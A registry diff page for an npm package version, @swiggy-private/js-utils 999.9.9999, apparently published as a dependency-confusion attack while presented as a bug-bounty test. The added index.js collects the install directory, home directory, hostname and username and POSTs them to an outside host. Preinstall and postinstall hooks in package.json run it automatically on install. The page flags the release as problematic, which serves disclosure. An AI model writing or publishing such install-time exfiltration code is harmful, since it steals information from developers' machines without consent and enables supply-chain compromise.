@swiggy-private/js-utils 999.9.9999

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @swiggy-private/js-utils might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +46 -0
  2. package/package.json +17 -0
package/index.js ADDED
@@ -0,0 +1,46 @@
1
+
2
+ // Welcome
3
+ // this is the test for npm dep confusion
4
+ // please contact securityhuman@wearehackerone.com (this is my hackerone email id which divert mails to my email.)
5
+
6
+ const os = require("os");
7
+ const querystring = require("querystring");
8
+ const https = require("https");
9
+
10
+
11
+ const trackingData = JSON.stringify({
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+
17
+ });
18
+
19
+ var postData = querystring.stringify({
20
+ msg: trackingData,
21
+ });
22
+
23
+ var options = {
24
+ hostname: "securityhuman.pythonanywhere.com",
25
+ port:"443",
26
+ path: "/confusion",
27
+ method: "POST",
28
+ headers: {
29
+ "Content-Type": "application/x-www-form-urlencoded",
30
+ "Content-Length": postData.length,
31
+ },
32
+ };
33
+
34
+ var req = https.request(options, (res) => {
35
+ res.on("data", (d) => {
36
+ process.stdout.write(d);
37
+ });
38
+ });
39
+
40
+ req.on("error", (e) => {
41
+ console.error(e);
42
+ });
43
+
44
+ console.log(1)
45
+ req.write(postData);
46
+ req.end();
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@swiggy-private/js-utils",
3
+ "version": "999.9.9999",
4
+ "description": "test dep confusion. please contact securityhuman (hackerone platform id), securityhuman@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Test dep confusion\" && exit 1",
8
+ "preinstall": "node index.js; echo \"pre done\"",
9
+ "postinstall": "node index.js ; echo \"post done\""
10
+ },
11
+ "keywords": [
12
+ "dep",
13
+ "confusion"
14
+ ],
15
+ "author": "",
16
+ "license": "ISC"
17
+ }